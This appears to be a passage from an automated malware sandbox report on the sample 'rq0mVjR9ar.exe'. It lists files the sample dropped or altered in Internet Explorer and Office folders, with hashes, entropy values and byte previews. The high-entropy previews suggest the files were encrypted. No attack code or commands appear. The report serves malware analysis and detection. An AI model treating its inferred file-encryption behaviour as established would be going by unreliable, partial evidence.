Preview:	.....l..~...9..!....)..v.?JXh...#.Z.99-VC.{.=..W...^.nr......pCi}B..Q.......U.R..h.n.6.~8bv..4.!.h. ..qR\...W...Y.52NH.r.....>.B..%I......dI..wcV..+...e.'.##<!~U.?xC.1...y^.z...\..9...V.._.....I.Ac.Tc.....O(..9!l...'.WO.!6H....?..y<%"..;.ls..'G....\.....P.~..:......k ...[..........).z@.3^~......./..o.(J}Wp......m{s....J.S{...Oq"=`....,.;V._M...+./.".[Y..6._....~........ .S.M.#U..a.;..."....x...p...$.o...K...../.r.EfSP.:b$K....V.J..V..G0y...- ..1osv......b...NbBc.B.\|[.-....\|.qe........n..A .......-.g.^....Jv.'T'.$....).+~j.\|.>P.r..v.z..U.5k[...CRLD....uXI..%......zF..k.....p.8./..?......r.;?.U.^.$.&!F8.i...d.R^.H(.ko9...K'.....:]....... .#.....d...)q8O......U.....p....P..]..G.s..&..p..Y...Z.4K...}..E...d........j.../....;G.....(r)..k.c.N....ywd3Q....8....:..]..H{.l..FQ....]..C.s.dZ.......B....%)]...H.d{$oa.I.6.Y\|:.(!...y:6.s..<..m.$?..!R...\|D'...w...%....Ov.zCS....G...1..8.q.......H....`..T.Dn.R...r.H.-[.`.\.s..d........R..U....JF.A..Q..}..C..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2082477983994537
Encrypted:	false
SSDEEP:	3072:ytMGhBiy9vYYxpVkwTFzpIiZzms3ZnTK/Ohs6Gwg6Pa0YPVqAZQ7nsfH:NCvlW4TK/v6GuPQaDOH
MD5:	7E06347C88A2360AB56580ECFD780D48
SHA1:	515ABEAD7EAE2CA899453A9000DD08E7EDA30244
SHA-256:	028EF605EBC0A0E908FC1F867BC42561EA84F26624DE91635026E07400340EE6
SHA-512:	E159FBAE8D13FE3B79A35691D53D8D31B8285BF1C42C220D338DBD2C8ADE618A4107959D35BC206699A07F62D3657BFC7EB2AF5E5B1184B481256BBDEDBE4F18
Malicious:	false
Preview:	.....0B.#.4....@....gf..`..L.d.o..g4^.G.w(...C...jc$.qB. .B...[......b..X.s.j...76..U.I..`.\.V...d....O....5.........9 \|..mA.@A..s...{Z.A.FJa...._.Rz]b.)....#...l..........S....t.3q..{.u.w..17....`.L.9]....pfc.....^.@.......MO,q.R.US..;p.-z...bv....o3..-.6....1.-.M;3}Zy..f\|A.R.<H..~.....Oov..-.(K/..y.YB.....z(..4..?...3.}[...d:...........y/...%..@..a..x...>..?.u...M}G.....Z.E..^...z>.F....tYs.\|~.1._S...q..L.`8.F[._..5........Q..,....G....S.d..n0I.`.H....xx.;.a..~........3c$p...Lj.....U.M:K.>.1"ej..8Kq.....j...).......&$.ET....9....,._(..e.-x.CL."M.$"P.5..0...5b.'7o.u.6.XV.......e..5.F.r..!...@5.U...`0...'...4..q8E........E..B...O.....=T....$.9a...G.~..i.<z.AE`.... ..$p....a../....I1....-.+...(o....H..X<...1....,h..@...^zL....XP..w(.........k...a...Tw2R.5c~.7...l$.n&...k,...4a.5.OO...e`...d....M..t........j....ihQ...X?..8.^H...L...7.mK........{....n.../.....fd..>.S.1..$...!..4.Y..A45_._..0..q...n,B.......C.[.....^...p........'.b.V.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.940467795656336
Encrypted:	false
SSDEEP:	96:CM/SU+OTH6qSmT4XKcVazuIysuBHl9lADS4lxO3s:CkSjOBpH9ufhlA24bB
MD5:	B2DEF5A735D9C594A81BC72ED302A525
SHA1:	2FFBE535A670703CBCA0368326EEDCD6A2F55A0D
SHA-256:	27C29C34D366C9B5458075375DEF64F1159000BB8183244A3EE859EFF4AB2DDC
SHA-512:	18A759EF76AFB24E15C82AFEE76FA00F93305685D7E669178245EC4B3D49928B85E453FF7EE64FD072E899EC0293A54E5A285980FBC35B5B6470EF656A0B5422
Malicious:	false
Preview:	<?xml9g..W.>..>e.9...+i....D./E.-.'..s^...YP..dJ.L.Q)..p..3..T.......D^.{_.o7........v....?.i.:...6...X.b.....g...s>.............1.......G..uTw..{U...\.iQ.R..0/}......:pM..9.FG.....j......b..IF5.J./..S.b..I.>.....#C.\|i..:.W.........2he<.'.O..jW.0`d..1..&...@..>.R..n{z..7..$.j..rv..eB..r3..7..ij..Gb..U...bU.c".....C.~...X+.h......ZU.h(......k..a.v.N.3E..........n(. ........s9$.,.r...D..\.M...W.......e.+...jL......Ymw.Z+l,.Q....4..dU.rj....e.j....[...._.K.......>:nsq<E...z.^.y+...KA.....A<c..>.W.oP.......... f>6.............H."....U....k.N.^.UJ............D2.tT-.}.......!,..z.9.Y.l.u.0.....-..I.N..;d....A........r......T..3}.)Z,...)6.../.#.U.<.[.....E?O..XCkt.V.....~....x...5.{...5..+...v...H.h...,j5)F......t...,.2Mf.....+..DH...'azpv...}........7....Z.6...a...`<.I.3R.VA.J...P....l.T...'g..K./......'..k....RN(v..(.3g.G...KU....F<dxc.3.-../.e%$......d\.....2W.a..MJ....d/.8....S..NG..kI......"P..G.................H...^:%$.u.T....y..73!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Personalization\Content\Anonymous\Insights.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.711748148491509
Encrypted:	false
SSDEEP:	12:lgneFnkr17XqPHCT+SVtC68rwlp+KRb5E0d1T5DNbn0LtD3tjzokOVixpZacii9a:AeI12PC7VtCWlw4FE0T5D9n0RzkiTkbD
MD5:	430CEBD926E0B70CC83CDE1FCE37232D
SHA1:	DE0F633667627A2C8907C54E02EF93FBD1CA8DD9
SHA-256:	3D7D655F4269EEEFC3D780AF31EF2E0C521873487972A0825566E2EE73FEE484
SHA-512:	A46040C18C2F991366A50CF124D67C50951502AAE657F3AD833F2BC68BE9C949D55A6B6B97C0B503EFA561844DA25877A13D39121445EE87EE8E673BE955B4F0
Malicious:	false
Preview:	{ "Me.LE....3....:..A..+...k8...r..%....0.%g...'Z..k..F.&..sE.......h...c.....Z....3=jj!.k....t.).c@5..V.b...BQ_..2/ .2....W..n2~..j.&........sA..T.TM...#U.0r{.m...i...Mv....D..BU......p.#...P.N...#..yu.]...f..]:.$+..V....O....w....9.)..e..P&.zF+?$..-Vi:..e2y..X..on.m......-....?*.V'..b#z.r.Y..p....wt.W....J ....I...R. .G...}&.lO?.64....M.S..[;..52.....%./_m..0..j<[6....6O.....U.E[."KdH.4...z.{x.Z..U....4...M........>........l./..%......m..+......B..;.f.[.F..C...B&...w..P...\.l#....?..R.q...W;.m...X.G....I..S...n..5+....0N.=^...-....S..!......e........./.T/,R.8NN.nCu........&T4.......9.....&.w....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.529990886954962
Encrypted:	false
SSDEEP:	12288:5JSiabzWHELiwfXSZlV0N8x5thr291gess3TylunXh:50iOWKFH
MD5:	F482BF3020526163CE2037560499DFEB
SHA1:	E98ED42BFE3681F9D298E22507A83C0A6C778DC6
SHA-256:	E39DFE8D0730FCF256BF74C0DB4AFD0BF42FB0401E8AB57259FA8EB147C31C69
SHA-512:	05CA52BAA5C53CAEBA20620EED81C28B7476F0B4DFD3EFE6ED144B2FA558DCE979CC9E6391972C5B239C75F8A5DC1169F4D8EF79BD40B668BAF6C86C718DAE59
Malicious:	false
Preview:	<RuleI.....=..;..3\..V...e..Ek....Z..T%.v...>0..$...W.}.D$..~..Q{&1.....$...Y...........UF..2..yOu.)..\|.x..........u.~..........-?S-3{.....peu[Y5.BQ....~....y.A.b...x....!...........;..^.F;.g.......x...dUTU......#).;...yz....^..V~....t.......m._.ul....(=0.BZ..F.......U.O..?kydu.g.c.Db.......46Tt.V2I..1......A._8..h.o0v._..@#.e.g<k.9. GP..2x...-.e..]RyT..;.-...c...F..&...}>s~....f.....H.-....qR.k.F+....k.F.TN....^.../J.Dg......dA.Y.....L.e.......;.......q..%..ks(..w.#...n-.&...!Mn.).P..q...=C....4v[....(.....j.....P3.......h../.wR10...K.....Lj.X.g...BnG..8.v'..7\+... ..:..........4...\|]./.z....AI...G..p.....i...y.m}..u.5,e.D:...LX...n..N.zn5i.W........V:.N......]"..'E.I...T..pD.PK.........;.a3.V.R.&N..?.f......O.&.c....S5...6.Ty..3..{eq.H..O..+..e^..6p...#...b...!.K...7......e.p.pak.(...2<...c..Q0..Nn).[.....[.@...Z.G@...............d.......\c.(...Y..k .$p!~..Uq.j.-...[.mz...x...n.83.Px.w6....7c..=.3...7.b..L..a........+...i.F...Gi

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.908546446938572
Encrypted:	false
SSDEEP:	48:LnZUA8QayYwjogH3mQHOLkZmYZPyy7Kpf/iuzexyxcDqeK30f2mNsiD:LZzMPgLIkZmmPjkyuz6yTkOmN7
MD5:	A511BB46D39584E65CC20D7F68D2373D
SHA1:	A33FEC78A448936E75B56943822C1B16CA9D9654
SHA-256:	9E23AF2A27B21ACC71EE9B4F9A94FC4BA0E7DDA02A613B2BB02620FF298FAD80
SHA-512:	BC536FC7987AFBACA48C9D41E3A5823EC1092F28392B5D453599ED060654E054B1B159932738C2305D93DB43DA8B8EBD00A2D6A5CF7A525A1310721933C0C75F
Malicious:	false
Preview:	<?xmlw....N.......6 ..$....I.l...mL6..?_..'._...Z^....Y..V...P.z...K....v.....!q....t...4...4..<.3?....5.n..Bx...NY7.wt.....e..SM..MY.X.1.~...1.Gpd....Q..R.@...@...A.....e..@...U.0.......Z.Z_8...^.O...f}.#.?w4>.Z....z>...0h1.v`)Y..S....Y.#fr..0....`J6......;.0e.i.m.....QQ.g.C..&;.W.k..l..M...m.Q.p...H.....kd..(.......p....N).L.n........>...o.\.._-...m.9...e...<.$jG..@..l.].{.))..9w.K.n>...<\|.S..s.F.....3......*Q.....pT^UO.O.7!.8.....%:.A..k....>yl.`..h.=zHZ.....]_...s/.....g`......E.{.4=..xlJW..Z...GLA.v....'N..yw..3#...g.:/tb,....Y.V....L.E.e...p..8.9uC..}.....j.mXC2.9.E...5NNG....q....^^;!.......5./2....}.....5.D......O`.=9...)"..W.P.\4....{..\|.f....6.X .K%...4$<.$l...}.X..C.t..g.u.!H?I.....]..V...n.i..m..4:..u..L[d..`.L.\|%....c..=..!..p.@.....o8.+HA.j...A.2/.(.%.N.h....`y&d....G......`...O{...A....I$.3.....Hw...\|....J\|BY...>F...r.\......vk>.P..Y...wN ........?q...a`...:....S.\|.uhN...\|...oKY.H...\|....Q..x.g..!H..]$."....HY..#bK...w!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.844213831056713
Encrypted:	false
SSDEEP:	24:s3ZL1tz45BGpQH9jNupzL2N89AMOCr54x896V06idPiViTkbD:I91tz4qpQH9hupzPWgSAPisiD
MD5:	749768C1E5D03590FAED12F50AD2C3DD
SHA1:	E2606EB1B57C68480CB3C1F3405F439CFDC314F8
SHA-256:	FE68CD1B11C1F03DDB1D6654161AD917A4B70394DC3EB390D03F4ECC10019A20
SHA-512:	F60645A3E9CC492FBA9E883C29E3119E1F958B32223698E7B1E4206E64300AE9616D52FF5BCF1CECD49B0CAFAF7A70F7A6DAA40AFC495B14B7C759C987C38C36
Malicious:	false
Preview:	<?xml .6.P...jU.....f.n....\|8.NA~p...C.(r2.....B..;.....;E.._.:V.0.V.8QF.3....H.Kq.+.5.&......M.......&..X.oKa?..9..!.^6.'.....`r.w..3...M....,...[..yj..^....h.N+F.k.-.6.MV?x....1...._&R....{I..s....J...ZU....q...G+..#B.&..2....8..i.@..j....J/\|...y..\Y....m${...=@.%}..}..C.g.D##.e....L.mO...xo.....V8..^`fH.y..#0d....^..c,...\.R.]."S.....DU...[.6.N..>.wiU....Af..;..nlJ..?...H"..!...M.7.d5.......MO.GGJM....Q.......s...&...Oj[Y.,5.....:.\.B.32.~..)HqZ=7i......R.H..a.}....Z.h..r.Z.t.....K......<...{h4.5...t......(.Y.. .s..l....Y.R4F..2.GZ.....(...kQ.t..b.xh.[..8`Jl..b@l.....+gK..%.I...7.M.;qL.m.0.[(oxdz....q...{Z.e...{{HT....4...(X..]....ID.7\x...]...'...I.!........a).....H...}..dvW>:J..Z....o.....)K..m\:M.]Z.[{......%.....,...?l.....y8...f...!....K.H.O.4-...%.:...e.yzV..S..!=3..07*..a...\|....b.F...E.$...D....4a.8_..Yn...xA.[...hE...U.V.a..j/..o.....s.B\|}..`..(.6;H..=...^..H.p.\....,{=........r..oF.8P..S.'.J6.M...w<5.j...."84.9:.C....k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.805117008460034
Encrypted:	false
SSDEEP:	24:qI/dxV0rbTDQAHehbgcl46XG1cUzgg7JadG+269iTkbD:qI/df0PMhdy6XyVzggS26UiD
MD5:	BDD96C43C57C8A8A6EBF0746D68D07D1
SHA1:	56B30911424370EA5DC27A63EBB55E666C0D1871
SHA-256:	5C4E9A718F6C050E63235F6D13B3F311C44257DE1833F375116F8C03EA1193EA
SHA-512:	8823A17CF1B9E7D88495253BCF59FB3CFB99830E98DD8E8B5360CBCD461F3208AB5F44A5A193EBA19C76DCA73515B1F13F39A59A7B1051C87B3E7E66703E4E49
Malicious:	false
Preview:	<?xml....$F..../.rs...(.ThK..nz..'(.`...}k..sF/....m.Je.H.[S+..0.A.....=.%.........Dv....u...Y....9x.g..d1... 5..'....,...Z...........Le...J...[e=.?.V..{.}y\|.gC69.....'..E}xD.+...p.ae@z..._#.<s.V.......p..p..._...nO4DH.7..?,Wl...?.........c`...v.......c:..y..y....u/..U .J..=.].X(\..'.UZ.Z..Kc.....Dl....=............].....:.....z..{.....U?).1....s.:y[..ZG=.R.A.....gl......)...$v......;...}OaQ.Y.._`.Q.J@..tj.....]....Q..E&h.I=7S.[.g......c..v..&a...=&..9c.V.4...!Lh...n.wE......&;v..S8..T.Fm..U..t4.oK.Q.........y....q..*..9...+.......q[..k.Yj.`..C...g..fC.c.>.m.......EI.Y....a5.(L..J.....I.W#.}.^..j.Ww.^.....5:.....H...++\?i..m.z.m..7i.(;kY.:.+...... ...+K.....kno...9N.{E..Cy..7.).VDn+k0E...>G..g...[...F=..]UbN1..ah[..<.....Ez8..E.......c).jU...b(.....B...p.....IJ.t\|......'.l...9f.:.0..-h.0..'.u!....A.]....."6....(.PD.X...-...Y;....^......Z#i;........w...EE/...%..b...v..8NH.........f)....].......S 7M..X.=...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.884334918793516
Encrypted:	false
SSDEEP:	48:t8IdNnPWSKsOEPw9l/wTZd1uvvHwygGNHusiD:KCRPWhsOQw9NuZeQlwu7
MD5:	2DA6D314463C5F3246D15DD290C108F1
SHA1:	88FD1B3276726A85118E3F8D3A338A512CBE872F
SHA-256:	7C8D610DC13568D284B2FD0E2B461D30C7F39601CA5FE3E0BA0A1D9A20EC20B6
SHA-512:	0615E0A7AD28FD16FF612827C05D604C6728C44CAABBB7CBE62329E3C960A5417DBCC1AC3EF968FDE71EBDE1AF01E9714A20A2E14F2743178CE1A3FD9FEA4B26
Malicious:	false
Preview:	<?xml......H.{2T8..'Rt.........M.b...\....#f....Z.D.......:$..3T..o.#].vu...F...}.v0,...B.iB...A.."...l.........2`.....i......ex...........U6.....NS.nmj.x....5n.1....k....ght8..)c.r-N.S..V.~v.G.}.(....}.$. A6'6..e....H.{:.7.......y7.S.$.......:?.D#..,..k./0[.tq.f.E.`..4BQR.......y.o4X5.V.Y.>......u.......\|.}.cp.(....'.~k<.>......h..R..s_..e.^..-..Q).7....IP.H.;..r$...A&.....\...-.8..,&C.#....Y'.6.~.%.... .....R@.!+..fg..Q...../.fi'u7.....c...ez1..'."\P.G..2...qpY;.\..f...a.#...?~.}....k..>Pu..n4i,. ...~2......T.pkj/2...>......yYV.._"....U7.....+.o..\|.;.{o....ip ..(u.I#.....^.'..J.;.dl.....hzn..i.....d=.l..4.kG....PDS..tT.i.If.8l.L.s.B..9'Z.k.L...MQ.......]..."...t.qr...<...z...s..>.......>.3...)..;F)a..R.57..8SB....}S.n\|..(z.4^x.....D<.7..Cf.~@...L.....J`w.vcR.,9..w.cz...N.x....V..o.6e.{.p....+..g..X......O.....4g./........6..F.Cur..i......vt.}..}...iEXq.1&L.9&..l..bhba....%.'.Z$^gw.......A.8..\|s..pbFFu;..bW..\.J1c......f\|P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.826945435005219
Encrypted:	false
SSDEEP:	24:4BdK1dAjmZQvh6WaB5QcG8rWDlom8nCa9bJZEjXAW6yuiI3iTkbD:4+g9vhRajI8rWDb4Ca9bJXWvBtiD
MD5:	EF9ED8F7772B758BB1B837AD8AE0937B
SHA1:	37A5F98ECAA1342C68EEB6C1D67CD31EC7D4C406
SHA-256:	13E5B1C900818F5C664E2844615941479005743E1A9B3DFD8E6542E81B31A27B
SHA-512:	A51951A28F4BFBD7728A09D5576D2430F6EA7B285F87494775E5F791505B49C7FF6E3A7DF908C2B5DF7B3E0F8F869BC95844C0282598A2BDFC6A0711657CD7B7
Malicious:	false
Preview:	<?xml,......r\m.0..f....v..m .!k.~.t..dW\|..?....[...\....Y..)...(p. [..6i.K6.... .@.n. D ...O..E..(Y60j...s.P.W.....Q..~[.E..5.f..2Z..y..u....x(.D.#.{.z.'..!.z.3..#G......d[.n.....U.....K.t.....q..;..P....b.!.(...3..f..;.!..I..uk...M................~@,N........B5.............9O...5....\|j..?.AC..`u&.kR.>.2......N.[..u...?.Y.9.g.Wt<V+....)YoL ..#.'.'.p...8K. .o7?%...i.2p..'9@.1%.Rk....ykK..y&Ih...j7.............8...d\|....x....J..m....2O.5..F..<..F.....O0=.....0.Z...!.U$..W#.....a.-./.\..f(....[.}.........e..%c"..^(...Cll...sFxD..:..C.6........,-.(.@..6]...E."..C.yq.n.aA!....j.v2.X................"..!B.^u.<!..Y.}.....N........hg0F./..a\|}...O'...].=...y:zm]....K.uM........../..e...7F..{%..$..<}.7.B.L.=...-~?..H..Y.l\|Y.Q.}.C...,...E.BG6..........-.D`i.?0.~.D...LV.......?/...0K.}.f.H.Ym{Jt.[1..w..F.pC...P....E.r*....."..j.....y.:..v........-.!A_...T.:..!...~.j......5.u,...+.b#5..#.}$..,..v%v..l..Gh/$.x.%.h..E..J.TdUdf.x.X?...N.x.N@...=...ZQz

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.837586214437994
Encrypted:	false
SSDEEP:	24:yLLnc3Ksk8rqJWFaOSQQf47Tv8wrpUqK2dYW1InGvLLg5RRViTkbD:yLLnNskW7FaO84fv8wl/BSW1MGvozOiD
MD5:	4BF9F92A538AA2CE6D15567ED43AD48F
SHA1:	A449B443C908693E32C3CE6608B44EABDB6019F7
SHA-256:	D7061DFDCAAC2F41BFC18C5C4461C82AD62BC1FE5C0E93376D213FC03307BA4C
SHA-512:	74B2DE71B3E225C9678B97EB0CF6E3787CA41CB2FAE1D8720482A3F653D02A811AFCC03437CFCB202705768B8A5DB41266408619794EF784F167CFD464F8B34F
Malicious:	false
Preview:	<?xml.)2$W.<.2Wx$...s.;.)..x..q.}.ON.kps.....W...ymY..,.m...........K~....:.>p[B..-[8t{...-.{..{.'../...........h.^.=..2].........u..V....j...X.,.~k...rnz.9.L.2<.p.k8T87..h...nd:.>...e$../.\.Q.%..zH..](.b...^.u....o...L.V..]...t;.=+..3o..G.]...\|cw.Fz..i,.N...!.D....s..{..x..YB.I^.98M........Z.9..M.h..@...}F..."b..T(.0.* ...5).........!.5r...me..\l...).......2n;t.............U.X....5.....t.&P..t.....!..{5.......U...a......'.....8.Y...@....U...t)C....7Zg...mP .....1.Y.V.............J.../-G.9m.b.Et...r;...)mU..2%.1..._)...QQ]..b.C......}.'sg_.u..T..>..e..3.;!.}e.^,...-.. .9......h.......X..I[.".T.{.....3%....n.E.....p..,.U..4..#..Q\WR.....0O.F.'...+'..a.Q..x........6H`V`.m.E*.y[6'Sj...._.0...h..i..2..I..l\|..R.s.(..n6...74[.b.P5x".\|....ds....Q.....".:...7K-.m.H.V...^D...5'......6.?...NrU....QM....r...c..H.8HR.`..-..v..<F..tm.7`..^)Dryg:...d..P.Zw..c....](xN..F.{....p.d..T............rUf5.c^.._.?...J".&.[.@)}.l.Z....C.t..v......0....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.902253700749525
Encrypted:	false
SSDEEP:	48:OvVdbBtjOiO5wAN5BaGqyitRcJhOBMAEj5m3JIiuBcuiD:OdRBtbObN5sGPijwGSwwcx
MD5:	F5845C463F1129D2F2691508DC277703
SHA1:	40B202D4C2EB9876121D07EBC71DB5D05F13FBA9
SHA-256:	33D417D0A061343273DC3EDE9CF9137E3DB9889E6AC0493835006B88A9945B21
SHA-512:	074C496B0C55CFF365310E515B481CAA16132A98E01CD4DC8A0FEF282CAC67CF1339D3D3F03A8B7947656F85178D45E0F3482C87BE2F2B1F97AE1D11C1F090EA
Malicious:	false
Preview:	<?xml.d.f.!..v..rQ..tf5N.t>..X..`...%<r.T^Y.,...y.}.a.}~.Tq....}J".8.Q.o@.<<...E1Z0X..P..z~28. ..O............CN(....bC...N...rV...?.<.&..?mE.T...l.?...>p...Y.,lN.o.7..(.....(m..p.;....7.'..r.J\|Y\...S.Wm\|.c.#.^.NEWV.....hw.g...u..V..c'.....[iz9d8...u.i...p.7n........\|.cO..@.Q..sp#....m..:.ve....<...)6F..R..~(s5l.S.p..]..L6.d...K.3...X.........1<Sdx.A]......m..7y.Vt..G.S..@?q...e.DV.....M.p..W...q.~H..5........i.........V.7...\.b....'.Mt(.....D%.GXl..{.:U.(M[%4...Q..J./..<.2hx$...C..!9....!9.-......D...........>k.j.$.D.u_I/.r5?...0..m........5,...3q(...L...l...v.I8.8].%.....".f...@.7.`..[@.i..2C@H.....S..r.Or.c.....ue...n..vD;!.I..%.........gkL..i.-..\.(?..G+.@.W......;....Hx.&.......p..,=m..O...G.a.w....Jw'..dE...F.T.....VB..v=.d...-8.2.36..!#A..Q.A9.9Z.&f}....'vR..%.#.=.f...Y@..Z.4.4y.[t....A[7......{..?.?..`..p.v....e.h..:V3..T...8.a.No_P&..d.eXdo9x.)..7..km.. Af.2..E!.../.F7x.za.;.....h.w.Z....Fs..1p..9...(.v....}J..w.`O0..$....&$...o.B..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.845958881462932
Encrypted:	false
SSDEEP:	24:v2Bk6athENbUxDdDFUymBgHkSpJSN5I+XG8+oZmVXXeMRzHD42ZwCVW+iTkbD:+HaGAZBFMgEAQN5IzzV/Z82O97iD
MD5:	FAE42D433FACD7FE1ACA2F0ACEB792C4
SHA1:	A15E460C15EC1663B144DDA5B2ED1DD1257D38A0
SHA-256:	307177936AF255349171D6E2522356DE8B6744B5616790737C2F9B1E8C89889C
SHA-512:	4061D4613F94160BEAF5932CD6D6BEFCFC9644A2660E23C393FD6145137465297A54F25CD00FB7E0BF8632509A40BF26729B74179066A91EFA395DDA10762E82
Malicious:	false
Preview:	<?xml.K&..n.:.vR@\.d....-.Z-..mu.>.5^......n..rN.Y..R._~@..;_.%....Q.}B..E...E@E.E.........]E3.2.....G.J.D...N..`.:..m.X~0n...7.J...x."6..)..$/H..s..C......!6...j9....d.u..C..0WJ.n.oifH.<..O0.e[.m.:?....A5.g.)......Y8.p....k...<l.....C..D..@9..~.@m...pJ..K.~..a...H....\`4.............ej\.%&D............O ..p...5..:..Y....&....v......D_..V.......8 ..N.9....K.q:.R.db)"..t...>.....=.m.S..t.....4.>j..k....]HJ\.M......./.d...J... ..u....e/....1!"S...;.gt..XP.....H.Ny..D(..K...da.r..).......]H.T..>.V...].....z#s...f.W.~...x..7Rb$..n!..fa.....v.Y..y.K.....f.._....k.n.dR&.[.=....C..$^.>.L..~..6......U_.7X^.j...2=b..VE.J..1.R.?a..q....w)......W..eO{.F.sQ:.%..x.[.K...t.d\|..u...H!.z`@........;....;.......u...^...H....!..:..B.^c_k....0.}k..k......8.U...tQ..J...J...l"3..-...dHU..W.."..B..L.)..l.#.....WD.kDY.Z..b.!.....G.....?..h5......}\|..y....`..\mj.../.(2..^.......#{....Cp.~.q.T8........TG.N.~A...q..X...Ns..D..9.......-.@#!..3...K.Y.%.._5BU.au

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.851256148240931
Encrypted:	false
SSDEEP:	24:7xinDcZaGx+Kt4TatrpsggwhX2ZV/60IQWVhdR1Y+1g/ENjVR/i5t73MF4eKblPG:8zGR4Gt9s0U/QNVTpW4CZ3y4eMP9piD
MD5:	68028883BC2D94D932B386CFCD9D5536
SHA1:	9C1EC1AF222F2C96057202AE44620ECA11337D62
SHA-256:	7D3631FD2C2BDA616C305FDD719A06BFBD5F66BA91FF4811ADB0F05C7F95CCAE
SHA-512:	DFE265BD1C5BD54FADD4069853220581D99F7110947ECE8C491DFC4871864147FD261AB830EA2F307E99134B501626276845A367FBC4C348A072B7A9DC951AF0
Malicious:	false
Preview:	<?xmln~Fkd.oQ....~[.....R......n.H1.......6N..d.s..".(...Q.q>...>8.0Q@....a......s.4...<.......fE....6....4........g5..fc.~..(...... \|...../..V....O..(_.<\|D..F.M.....r.M.Q..3....K.+.....g.....E../....o...F..T}.....l. .i...s.^7".K5..$....3.f6.Iio.)~5DU....1O.Xg\|.me,E..#....1.X....I..$8F..}V./>U..r..p.F=..,.....+...+A..6...P..>.f.m"O...5S$..c~{..SuY....k..>y}.,lR...R...G....Q..m<...KW;m.c8.V.P..Bjm.......?....i....8.\|I.M.x..~.z..C..u.:...x....tH..6.'!R...e....2"V..\..0.P.8..O...ly..\Ew~.B...].P...q....M....b..P....h...;.......N......5%...?.k.a...U.3....D..e..7..:"v>5.9&.\.k.T/..V..D..C..}..z.6._A.c(a....2Co.I..U..W....}P.._..<.&..}....K\.8s[.p...80...$..........a.x;.....y6w(....j...).=..+..J.w).;LU.O.$g....]]...A.VX.&?.Ay.:.bi]lvj.....B......g}"....Tc.......Q...\.......e1..4.o....d..?>......}g}....xD....$.v..H.z....*.O=.3......uG0.._......,..n.up.i..G......cK.......u...Xd...E..Q........{....`.D....]#N<d........c>...l.....t.$H..4<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.717432971466105
Encrypted:	false
SSDEEP:	24:Btyn0QtwLmxDnS+BTL8UVdJkalB60s/isSIqAZiTkbD:C0el3TLPVbkuTsTqfiD
MD5:	045B10008A8CD5ED645E38A71F827F6B
SHA1:	828BAE6CB67786CED53099E3B8897BB45CBB3243
SHA-256:	2649CA58745D2FE04FC7C7B51CAB83290894F9287A0D85F67B649668314CB56A
SHA-512:	B88B1F942BAF4D72E636C6F64BE665F9FF55EBEB79A1EDF06791AECEE97E04EC100142B1CCEA52345ACEC9397DF38B8E41598040764643F1ED5CA85938FFDC06
Malicious:	false
